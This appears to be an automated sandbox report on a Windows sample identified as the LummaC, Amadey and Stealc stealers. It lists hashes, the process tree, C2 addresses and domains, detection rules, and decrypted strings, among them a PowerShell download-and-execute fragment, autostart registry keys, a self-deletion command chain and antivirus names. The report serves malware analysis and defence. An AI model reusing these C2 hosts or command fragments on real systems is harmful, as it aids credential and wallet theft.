Edit tour

Windows Analysis Report
mDuCbT8LnH.exe

Overview

General Information

Sample name:	mDuCbT8LnH.exe renamed because original name is a hash value
Original sample name:	8384621273222debea0fcf855a0e1c0a.exe
Analysis ID:	1581399
MD5:	8384621273222debea0fcf855a0e1c0a
SHA1:	56763534cb625a3c51274b4adb8952a236de1fec
SHA256:	7ab81c7619021a613018c6f111938ceb88ef17c36b8f9e45af96a1d125a177f3
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mDuCbT8LnH.exe (PID: 6204 cmdline: "C:\Users\user\Desktop\mDuCbT8LnH.exe" MD5: 8384621273222DEBEA0FCF855A0E1C0A)

V4H7WRUUSV81II1QF.exe (PID: 3836 cmdline: "C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe" MD5: E8986E2F122CDFCFED4853174606574F)

40KDYYZHGE3JBLN65FUJY4PQI.exe (PID: 1248 cmdline: "C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe" MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

skotes.exe (PID: 5616 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

skotes.exe (PID: 5388 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 023D3E22C2DF966B7EC6B1950A2FBC95)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "screwamusresz.buzz", "rebuildeso.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz", "hummskitnj.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2209237506.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2462262257.0000000000011000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2209543082.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: mDuCbT8LnH.exe PID: 6204	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: mDuCbT8LnH.exe PID: 6204	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: mDuCbT8LnH.exe PID: 6204	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: V4H7WRUUSV81II1QF.exe PID: 3836	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: V4H7WRUUSV81II1QF.exe PID: 3836	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.skotes.exe.290000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.40KDYYZHGE3JBLN65FUJY4PQI.exe.a40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.290000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:44.708319+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:00:47.001392+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:00:49.386138+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:00:51.725180+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:00:54.119719+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:00:56.599915+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:00:59.124184+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.11.101	443	TCP
2024-12-27T15:01:02.994241+0100	2028371	3	Unknown Traffic	192.168.2.5	49725	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:45.776817+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:00:47.748599+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:01:03.800290+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49725	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:45.776817+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:47.748599+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:50.297213+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	104.21.11.101	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:01:19.193041+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49764	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:02:13.789412+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49885	185.215.113.43	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:00:59.128594+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49711	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mDuCbT8LnH.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php4	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfH4	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/opp	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php3L	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/:	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php#_	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedc	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apid	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpindows	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apis	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedx	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpGXD	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/s	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/p	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apil	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/F#	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/D	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: mDuCbT8LnH.exe.6204.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "screwamusresz.buzz", "rebuildeso.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "appliacnesot.buzz", "inherineau.buzz", "scentniej.buzz", "hummskitnj.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 56%

Multi AV Scanner detection for submitted file

Source: mDuCbT8LnH.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: mDuCbT8LnH.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 185.215.113.43
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Zu7JuNko/index.php
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: S-%lu-
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abc3bc1985
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: skotes.exe
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Startup
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Programs
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: %USERPROFILE%
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: cred.dll
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: clip.dll
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: http://
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: https://
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /quiet
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: /Plugins/
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: &unit=
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shell32.dll
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: kernel32.dll
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProgramData\
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: AVAST Software
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Kaspersky Lab
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Panda Security
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Doctor Web
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 360TotalSecurity
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Bitdefender
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Norton
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Sophos
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Comodo
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: WinDefender
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: 0123456789
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ------
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ?scr=1
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ComputerName
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -unicode-
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: VideoID
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: ProductName
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: CurrentBuild
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: rundll32.exe
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: "taskkill /f /im "
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && timeout 1 && del
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: && Exit"
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: " && ren
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: Powershell.exe
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: shutdown -s -t 0
Source: 00000005.00000002.2582045722.0000000000A41000.00000040.00000001.01000000.00000008.sdmp	String decryptor: random
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 07
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 01
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 20
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: 25
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetProcAddress
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: LoadLibraryA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: lstrcatA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: OpenEventA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateEventA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CloseHandle
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: Sleep
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: VirtualFree
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetSystemInfo
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: VirtualAlloc
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: HeapAlloc
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetComputerNameA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: lstrcpyA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetProcessHeap
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetCurrentProcess
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: lstrlenA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ExitProcess
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetSystemTime
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: advapi32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: gdi32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: user32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: crypt32.dll
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetUserNameA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CreateDCA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: GetDeviceCaps
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: ReleaseDC
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: sscanf
Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack	String decryptor: VMwareVMware
